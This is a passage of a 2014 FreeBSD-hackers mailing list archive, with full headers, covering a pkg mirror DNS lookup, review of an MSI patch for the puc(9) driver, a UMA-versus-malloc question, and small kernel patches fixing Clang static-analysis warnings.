pkg pollution only) and bound to a specific IP (which might help my zeroconf/upnp visibility problems). Cheers, Uli From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 19:58:08 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E0D1ADC3 for ; Tue, 11 Mar 2014 19:58:08 +0000 (UTC) Received: from mail-we0-f178.google.com (mail-we0-f178.google.com [74.125.82.178]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6E0C38AC for ; Tue, 11 Mar 2014 19:58:08 +0000 (UTC) Received: by mail-we0-f178.google.com with SMTP id u56so10418362wes.37 for ; Tue, 11 Mar 2014 12:58:00 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=wTyLr4Z0ByQoJ6CRjywm8TDvw/DyGU+6zjDP+ED84KU=; b=QR+AiFFwx4puVm7xNsMhCSLyIyGZ8ylLIqSZj+7BlGDcZH4OyIoHWISL6fn4iESdQz Smbmw2c+mAk4e7+yYIE5xSTzd5/+3TXEz+hfbinSZ1u+nDPFK3uhbVKU9wNfaVy1Mr2l dyFCEyhmwBffAzlObMq6NXWi6o52WJtv+XeoUnUvxCiRx5zuaF345PBQv++cRVdUXewt jHqR7/3/r6lmigGKMP99BZ5XRqoAxdHx91PGQpBlYJNT7G5JPcvvGqcnztb6gL6CM9MG VjkeHZ7BZfMnZF4XTRy5xi074WqsEnjUguktJgsNH2N7XIsnU31XiJ4nTOsLN14ctb3r S6Pg== X-Gm-Message-State: ALoCoQnPdxsoiBiCfO01dQJCKN28XJcPyrgs+EnpPIU21jxI+JE14GgZx+wNX/dNxZC/VeAvTDHQ MIME-Version: 1.0 X-Received: by 10.180.87.9 with SMTP id t9mr4436519wiz.36.1394566418403; Tue, 11 Mar 2014 12:33:38 -0700 (PDT) Received: by 10.216.166.72 with HTTP; Tue, 11 Mar 2014 12:33:38 -0700 (PDT) X-Originating-IP: [209.66.78.50] In-Reply-To: <20140311171602.GO21736@sludge.elizium.za.net> References: <20140311171602.GO21736@sludge.elizium.za.net> Date: Tue, 11 Mar 2014 15:33:38 -0400 Message-ID: Subject: Re: Cant resolve pkg.us-east.freebsd.org From: Mark Saad To: Hugo Lombard Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "freebsd-hackers@freebsd.org" , FreeBSD-Stable ML X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 19:58:08 -0000 ARGG Never mind silly issues with my provider are causing this to fail. On Tue, Mar 11, 2014 at 1:16 PM, Hugo Lombard wrote: > On Tue, Mar 11, 2014 at 12:43:37PM -0400, Mark Saad wrote: > > All > > I am having issues right now with resolving pkg.us-east.freebsd.org. > > I am in NYC using Above.net / Zayo and I am getting host unknow from a > > number of locations. > > > > I believe SRV records are used to get the actual host: > > [ https://www.mail-archive.com/freebsd-ports@freebsd.org/msg53207.html ] > > $ dig +norecurse @ns0.freebsd.org _http._tcp.pkg.us-east.FreeBSD.orgsrv > > ; <<>> DiG 9.9.2-P2 <<>> +norecurse @ns0.freebsd.org _http._ > tcp.pkg.us-east.FreeBSD.org srv > ; (2 servers found) > ;; global options: +cmd > ;; Got answer: > ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51676 > ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3 > > ;; OPT PSEUDOSECTION: > ; EDNS: version: 0, flags:; udp: 4096 > ;; QUESTION SECTION: > ;_http._tcp.pkg.us-east.FreeBSD.org. IN SRV > > ;; ANSWER SECTION: > _http._tcp.pkg.us-east.freebsd.org. 60 IN SRV 10 10 80 > pkg0.nyi.freebsd.org. > > ;; AUTHORITY SECTION: > freebsd.org. 3600 IN NS ns1.isc-sns.net. > freebsd.org. 3600 IN NS ns3.isc-sns.info. > freebsd.org. 3600 IN NS ns2.isc-sns.com. > > ;; ADDITIONAL SECTION: > pkg0.nyi.freebsd.org. 3600 IN A 96.47.72.120 > pkg0.nyi.freebsd.org. 60 IN AAAA 2610:1c1:1:6300::16:78 > > ;; Query time: 348 msec > ;; SERVER: 8.8.178.18#53(8.8.178.18) > ;; WHEN: Tue Mar 11 19:12:36 2014 > ;; MSG SIZE rcvd: 266 > > $ > > -- > Hugo Lombard > .___. > (o,o) > /) ) > ---"-"--- > -- mark saad | nonesuch@longcount.org From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 21:12:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8EF9DFCA; Tue, 11 Mar 2014 21:12:10 +0000 (UTC) Received: from mail-oa0-x231.google.com (mail-oa0-x231.google.com [IPv6:2607:f8b0:4003:c02::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4E456298; Tue, 11 Mar 2014 21:12:10 +0000 (UTC) Received: by mail-oa0-f49.google.com with SMTP id g12so9069386oah.22 for ; Tue, 11 Mar 2014 14:12:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Xqb+zCGHLc6QsEWFaPT0tiX7DeX5WvEARyM5nCzPA1E=; b=0Hpj3JPWJk0unfL+zNdQylwpTrdki8ZHBZQpEArj7t1eQqpEBy4VGSt2gCm01NRkje FMD0lOCOk7uPfhlvdAzl1why8758wNrwLVtQjouXPWPtf2dTcB4VxaMU/kVpeHHIoyeB /3jh2B2iFJf3dpiAwmssfAY5glqm3oVNCVZqC3kShcEqFxeo2rtxF+bJ+IvS5a+lYYAS EFh87JqfIyd847zlGtYwevGdCoF4ToZ8UYKXrDtwOF3UQVl2G7cupRjuo1pLipwxaXm3 hMIlOw4DLNYV8VaiCiVWza8uxWWPwvQF6fDMQ5ne6+XVWQrzmtF4ti5mRSuWk4PQpu1k +jXA== MIME-Version: 1.0 X-Received: by 10.182.233.201 with SMTP id ty9mr35663997obc.29.1394572329705; Tue, 11 Mar 2014 14:12:09 -0700 (PDT) Received: by 10.76.132.8 with HTTP; Tue, 11 Mar 2014 14:12:09 -0700 (PDT) In-Reply-To: <201402271330.02699.jhb@freebsd.org> References: <201402271330.02699.jhb@freebsd.org> Date: Tue, 11 Mar 2014 17:12:09 -0400 Message-ID: Subject: Re: [PATCH] Add MSI support to puc(9) From: Ryan Stone To: John Baldwin Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 21:12:10 -0000 On Thu, Feb 27, 2014 at 1:30 PM, John Baldwin wrote: > I would suggest reworking this so that you try MSI for all PCI devices. > I would do this by removing the 'sc_irid = 0' from puc_bfe_attach() so > that it can be set by callers. You could then add attach/detach routines in > puc_pci.c that use pci_alloc_msi() and set sc_irid to 1 if MSI works. The > sc_irid value would also work as a flag for knowing if detach needs to call > pci_release_msi() (or puc_pci_attach() handling failure in puc_bfe_attach()) > (though I wouldn't be opposed to keeping sc_msi as a separate flag). Thanks for the review. I have reworked the patch as requested. The new version can be found at the same path: http://people.freebsd.org/~rstone/patches/puc_msi.diff From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 21:22:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3BFBC4D1 for ; Tue, 11 Mar 2014 21:22:45 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 1370C387 for ; Tue, 11 Mar 2014 21:22:45 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id E9292B926; Tue, 11 Mar 2014 17:22:42 -0400 (EDT) From: John Baldwin To: Ryan Stone Subject: Re: [PATCH] Add MSI support to puc(9) Date: Tue, 11 Mar 2014 17:22:31 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <201402271330.02699.jhb@freebsd.org> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201403111722.31559.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 11 Mar 2014 17:22:43 -0400 (EDT) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 21:22:45 -0000 On Tuesday, March 11, 2014 5:12:09 pm Ryan Stone wrote: > On Thu, Feb 27, 2014 at 1:30 PM, John Baldwin wrote: > > I would suggest reworking this so that you try MSI for all PCI devices. > > I would do this by removing the 'sc_irid = 0' from puc_bfe_attach() so > > that it can be set by callers. You could then add attach/detach routines in > > puc_pci.c that use pci_alloc_msi() and set sc_irid to 1 if MSI works. The > > sc_irid value would also work as a flag for knowing if detach needs to call > > pci_release_msi() (or puc_pci_attach() handling failure in puc_bfe_attach()) > > (though I wouldn't be opposed to keeping sc_msi as a separate flag). > > Thanks for the review. I have reworked the patch as requested. The > new version can be found at the same path: > http://people.freebsd.org/~rstone/patches/puc_msi.diff This generally looks good, but I don't really like abusing sc_irid as the count parameter. I would use a standalone count and only set sc_irid to 1 if it works: count = 1; if (pci_alloc_msi(dev, &count) == 0) { sc->sc_msi = 1; sc->sc_irid = 1; } -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 11 21:33:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5F027949; Tue, 11 Mar 2014 21:33:34 +0000 (UTC) Received: from mail-ob0-x229.google.com (mail-ob0-x229.google.com [IPv6:2607:f8b0:4003:c01::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 1D360681; Tue, 11 Mar 2014 21:33:34 +0000 (UTC) Received: by mail-ob0-f169.google.com with SMTP id va2so9113816obc.28 for ; Tue, 11 Mar 2014 14:33:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Xi6UI2edV41KTN/ShFQcFdniA4TQvn1LVbEdCEZhUqQ=; b=OZtby6TTuTLexmsWUBqMlybLW7O7wzS2tkK76Q0oo8h24crnc+amZttLi5hbQW65ay kEqKpepiL1A5JKlIP2Ek8QX8cyhB+EXnE1iX3XKEy9n0heezbsm5xwlqesB7jGAPh4PO DmVMLbC51zEPFbqfobeVcVBzMOX3x1rLPFiBzLNJVMp5NPlFW4H2btUchxmyA9xbPAPk CZ0mqTDu5aPKSAlqOvntjyYyo6UD6yOrBUd7bi2uu//T1zNPz3ERNhDXOTrktZgElKUo Mj1IfhsXz2BmX6llel7mnDyK99Iqie3JvW7kHiLGK6Fv51/Nljnh6IEiDcwLxAUdbQDz eZpw== MIME-Version: 1.0 X-Received: by 10.182.243.138 with SMTP id wy10mr218397obc.83.1394573613469; Tue, 11 Mar 2014 14:33:33 -0700 (PDT) Received: by 10.76.132.8 with HTTP; Tue, 11 Mar 2014 14:33:33 -0700 (PDT) In-Reply-To: <201403111722.31559.jhb@freebsd.org> References: <201402271330.02699.jhb@freebsd.org> <201403111722.31559.jhb@freebsd.org> Date: Tue, 11 Mar 2014 17:33:33 -0400 Message-ID: Subject: Re: [PATCH] Add MSI support to puc(9) From: Ryan Stone To: John Baldwin Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 11 Mar 2014 21:33:34 -0000 On Tue, Mar 11, 2014 at 5:22 PM, John Baldwin wrote: > This generally looks good, but I don't really like abusing sc_irid as the > count parameter. I would use a standalone count and only set sc_irid to 1 if > it works: > > count = 1; > if (pci_alloc_msi(dev, &count) == 0) { > sc->sc_msi = 1; > sc->sc_irid = 1; > } I've updated the patch again. I should be able to test it on hardware with MSI support tomorrow morning. From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 01:34:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AADE45D7; Wed, 12 Mar 2014 01:34:06 +0000 (UTC) Received: from esa-jnhn.mail.uoguelph.ca (esa-jnhn.mail.uoguelph.ca [131.104.91.44]) by mx1.freebsd.org (Postfix) with ESMTP id 16A2CEAA; Wed, 12 Mar 2014 01:34:05 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqAEANy4H1ODaFve/2dsb2JhbABahBiDBr5MgS90gk9WNQINGQJfiAywMqBtF4EpjH80gnaBSQSqcoNJIYFu X-IronPort-AV: E=Sophos;i="4.97,634,1389762000"; d="scan'208";a="104597444" Received: from muskoka.cs.uoguelph.ca (HELO zcs3.mail.uoguelph.ca) ([131.104.91.222]) by esa-jnhn.mail.uoguelph.ca with ESMTP; 11 Mar 2014 21:32:31 -0400 Received: from zcs3.mail.uoguelph.ca (localhost.localdomain [127.0.0.1]) by zcs3.mail.uoguelph.ca (Postfix) with ESMTP id AD66FB3EE4; Tue, 11 Mar 2014 21:32:31 -0400 (EDT) Date: Tue, 11 Mar 2014 21:32:31 -0400 (EDT) From: Rick Macklem To: Freebsd hackers list Message-ID: <829240556.20994461.1394587951698.JavaMail.root@uoguelph.ca> Subject: kernel memory allocator: UMA or malloc? MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [172.17.91.209] X-Mailer: Zimbra 7.2.1_GA_2790 (ZimbraWebClient - FF3.0 (Win)/7.2.1_GA_2790) Cc: Garrett Wollman X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 01:34:06 -0000 Hi, I've been working on a patch provided by wollman@, where he uses UMA instead of malloc() to allocate an iovec array for use by the NFS server's read. So, my question is: When is it preferable to use UMA(9) vs malloc(9) if the allocation is going to be a fixed size? Thanks in advance for any info, rick From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 00:20:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A16BD3D4 for ; Wed, 12 Mar 2014 00:20:02 +0000 (UTC) Received: from mail-pd0-f173.google.com (mail-pd0-f173.google.com [209.85.192.173]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 79CEE874 for ; Wed, 12 Mar 2014 00:20:02 +0000 (UTC) Received: by mail-pd0-f173.google.com with SMTP id z10so279885pdj.32 for ; Tue, 11 Mar 2014 17:19:56 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id; bh=UD2P7+WlnzAIyIwlJOQiVq9yNyk+opKk+cOlfV5xa0Q=; b=kmAPgOEt1HJc+248o7WByTIdhRoGCOjAuoxcMp18TK6fegQhRcQ32YsnlgU3S5bD1b MGHuI+5z7zSbNXj0+y2svu/MYjDO+llkuIjAwTjO3a2t9lc+uSSKeMzl69eawhOdm9qp RQqp59tcZVtClHkg2vMEGY6UsYAeiPzAXXPN+sj9j7JzpDdpuzBgFGpLIS5bl2U1A3gn uk11LHQzvj/Bdbcud7RRzkT+/SOQYdfOXJOyq4sqLYUktrA4BqNwPzIPy/NVY49kFsa7 xTRliVmLPoxbdfB5UDWPyBEsI4wV6FtRZky69W9w57EoI3FbOCZYOywjQKHoCF7gl1eS jiwA== X-Gm-Message-State: ALoCoQl5rlahOdOunV61odf4e/AWS1gaj9eRH+3tpu8/0b4w1aJn9c7vUetzWexR/BdJ5jAw1WIO X-Received: by 10.66.4.130 with SMTP id k2mr1155088pak.97.1394583596512; Tue, 11 Mar 2014 17:19:56 -0700 (PDT) Received: from cmeyer.west.isilon.com (c-67-182-131-225.hsd1.wa.comcast.net. [67.182.131.225]) by mx.google.com with ESMTPSA id jd5sm1276051pbb.18.2014.03.11.17.19.54 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 11 Mar 2014 17:19:55 -0700 (PDT) From: Conrad Meyer To: freebsd-hackers@freebsd.org Subject: [PATCH 0/5] Fix several minor Clang static analysis warnings Date: Tue, 11 Mar 2014 17:19:38 -0700 Message-Id: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> X-Mailer: git-send-email 1.8.5.3 X-Mailman-Approved-At: Wed, 12 Mar 2014 02:09:37 +0000 Cc: Conrad Meyer , Jeffrey Roberson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 00:20:02 -0000 We ran Clang on static builds locally against OneFS at Isilon and found several issues present in CURRENT. They're mostly trivial. I'm unfamiliar with the FreeBSD patch submission process, but here's my "best effort" attempt (given the Linux model). Each patch should be tiny and fix one thing. Hopefully this looks reasonable. Thanks. Conrad Meyer (5): vm/device_pager.c: dev_pager_alloc: 'size' must be non-zero kern/vfs_syscalls.c: kern_readlinkat: Don't set return value to uninitialized value hwpmc_piv.c: pmc_p4_initialize: Use correct type for sizeof() in malloc() dev/cpuctl: cpuctl_modevent: Use correct type for sizeof() in malloc() kern/kern_linker.c: Use correct type for sizeof() in malloc() sys/dev/cpuctl/cpuctl.c | 4 ++-- sys/dev/hwpmc/hwpmc_piv.c | 3 +-- sys/kern/kern_linker.c | 7 +++---- sys/kern/vfs_syscalls.c | 2 +- sys/vm/device_pager.c | 6 ++++++ 5 files changed, 13 insertions(+), 9 deletions(-) -- 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 00:20:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B3A2E3D5 for ; Wed, 12 Mar 2014 00:20:03 +0000 (UTC) Received: from mail-pb0-f45.google.com (mail-pb0-f45.google.com [209.85.160.45]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 884AF875 for ; Wed, 12 Mar 2014 00:20:03 +0000 (UTC) Received: by mail-pb0-f45.google.com with SMTP id uo5so286177pbc.32 for ; Tue, 11 Mar 2014 17:20:03 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=NMOQk+mUXWujgVO0FiwyQO4S7hXE6oy3maX+UE3MdZo=; b=VdXvloSmxC+/C08ZfzBXNEaFRjNfbHcP/uZa68pnJpDLzevAA25hY571hR0j2MCa56 ztry6BQBdrMw9bbMmfD47aGFAPxe6IRJ9zRscZwYubdkGlQNL8eILR8NNobakjcTBodr rYH7lkFNSwCxD+doX8tJhIoaVpWCE+0Aina0/qxppmWlieRiSa7gMTH80ON+X0RIVazs wKhWJ3yutCjjGvHf+vZCvJ7G7/Ut4YuguL/qj8Orc1iShyj/T06gg1SKZZQx9w2tNltF vcbtZ4b4buNzYh9NJQvAf+1kxzCWs9QPvztqxmIgDrXOsolFrwAoOHPwNkj4152aXwPF glLQ== X-Gm-Message-State: ALoCoQlzMS/VhrGwzZTuhBdGCiP/nsxiBvENhzcVnr6qLf16GzDlAKVJbk0ImMcbXcLh6JNSB4TG X-Received: by 10.68.11.199 with SMTP id s7mr1210521pbb.12.1394583603091; Tue, 11 Mar 2014 17:20:03 -0700 (PDT) Received: from cmeyer.west.isilon.com (c-67-182-131-225.hsd1.wa.comcast.net. [67.182.131.225]) by mx.google.com with ESMTPSA id jd5sm1276051pbb.18.2014.03.11.17.20.01 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 11 Mar 2014 17:20:02 -0700 (PDT) From: Conrad Meyer To: freebsd-hackers@freebsd.org Subject: [PATCH 2/5] kern/vfs_syscalls.c: kern_readlinkat: Don't set return value to uninitialized value Date: Tue, 11 Mar 2014 17:19:40 -0700 Message-Id: <1394583583-19023-3-git-send-email-conrad.meyer@isilon.com> X-Mailer: git-send-email 1.8.5.3 In-Reply-To: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> References: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> X-Mailman-Approved-At: Wed, 12 Mar 2014 02:09:50 +0000 Cc: Conrad Meyer , Jeffrey Roberson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 00:20:03 -0000 Struct auio is only initialized in one branch, but we use it to set retval always. This isn't actually a problem because the other case is an error return, so the retval is discarded. However, fixing this reduces Clang static analysis pings, improving code smell. Signed-off-by: Conrad Meyer --- sys/kern/vfs_syscalls.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sys/kern/vfs_syscalls.c b/sys/kern/vfs_syscalls.c index 4be9738..f680d43 100644 --- a/sys/kern/vfs_syscalls.c +++ b/sys/kern/vfs_syscalls.c @@ -2553,9 +2553,9 @@ kern_readlinkat(struct thread *td, int fd, char *path, enum uio_seg pathseg, auio.uio_td = td; auio.uio_resid = count; error = VOP_READLINK(vp, &auio, td->td_ucred); + td->td_retval[0] = count - auio.uio_resid; } vput(vp); - td->td_retval[0] = count - auio.uio_resid; return (error); } -- 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 00:20:08 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B9990416 for ; Wed, 12 Mar 2014 00:20:08 +0000 (UTC) Received: from mail-pd0-f177.google.com (mail-pd0-f177.google.com [209.85.192.177]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8F6C2878 for ; Wed, 12 Mar 2014 00:20:08 +0000 (UTC) Received: by mail-pd0-f177.google.com with SMTP id g10so279385pdj.22 for ; Tue, 11 Mar 2014 17:20:08 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=Du5MxGV2v+QHDOpwUy0XfNVFhUvXthVt/kcMvdGWJSk=; b=cLNN+9eS2X6BN2fpGnOKO9QyVSAazViZfwK5TZAEJzHu/vGvSZaBpf8qAJLhUi4+vK P0csRklenS0C2azU0WlnRpLo3ap25VaLuc/DY+GocVR8MH+Qfn1XDEm71e9Ru3OnPriA bB03khbhOy2RF7f9MFgrof+n3qb+h4LXCDjzdtSk/o5muDW+AruJnH5u35i0GL3/AcSb WoT6W/GuAXGbvG6Lgag5xKYD19fz1A0/Rxamq2PiL3iYbk4KLIby5DVZqSgd4jxvzEAU +bm2aEbNiE9JNO3c+4C0TzSdAN1bHlWLy1tNvkm6yD++amnkNsujc+8YrxiWKsnjKbnz W5KQ== X-Gm-Message-State: ALoCoQn24TiBYZF6No/+NvJlY/a/LFPfzgbQWfm8EH0NfPeTRBJ6FTqH7x388/EjZf/7dBKM0Srh X-Received: by 10.68.229.164 with SMTP id sr4mr1171574pbc.82.1394583608114; Tue, 11 Mar 2014 17:20:08 -0700 (PDT) Received: from cmeyer.west.isilon.com (c-67-182-131-225.hsd1.wa.comcast.net. [67.182.131.225]) by mx.google.com with ESMTPSA id jd5sm1276051pbb.18.2014.03.11.17.20.06 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 11 Mar 2014 17:20:07 -0700 (PDT) From: Conrad Meyer To: freebsd-hackers@freebsd.org Subject: [PATCH 4/5] dev/cpuctl: cpuctl_modevent: Use correct type for sizeof() in malloc() Date: Tue, 11 Mar 2014 17:19:42 -0700 Message-Id: <1394583583-19023-5-git-send-email-conrad.meyer@isilon.com> X-Mailer: git-send-email 1.8.5.3 In-Reply-To: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> References: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> X-Mailman-Approved-At: Wed, 12 Mar 2014 02:10:00 +0000 Cc: Conrad Meyer , Jeffrey Roberson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 00:20:08 -0000 Both types are pointers, so this isn't a big deal. But Clang static analysis reports it, so we might as well correct it (and it's the right thing to do.) Signed-off-by: Conrad Meyer --- sys/dev/cpuctl/cpuctl.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sys/dev/cpuctl/cpuctl.c b/sys/dev/cpuctl/cpuctl.c index 317fc08..94fa62a 100644 --- a/sys/dev/cpuctl/cpuctl.c +++ b/sys/dev/cpuctl/cpuctl.c @@ -510,8 +510,8 @@ cpuctl_modevent(module_t mod __unused, int type, void *data __unused) } if (bootverbose) printf("cpuctl: access to MSR registers/cpuid info.\n"); - cpuctl_devs = (struct cdev **)malloc(sizeof(void *) * mp_ncpus, - M_CPUCTL, M_WAITOK | M_ZERO); + cpuctl_devs = malloc(sizeof(*cpuctl_devs) * mp_ncpus, M_CPUCTL, + M_WAITOK | M_ZERO); if (cpuctl_devs == NULL) { DPRINTF("[cpuctl,%d]: cannot allocate memory\n", __LINE__); -- 1.8.5.3 From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 00:20:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DDC0240B for ; Wed, 12 Mar 2014 00:20:07 +0000 (UTC) Received: from mail-pd0-f176.google.com (mail-pd0-f176.google.com [209.85.192.176]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B3EC6877 for ; Wed, 12 Mar 2014 00:20:07 +0000 (UTC) Received: by mail-pd0-f176.google.com with SMTP id r10so280501pdi.35 for ; Tue, 11 Mar 2014 17:20:01 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; 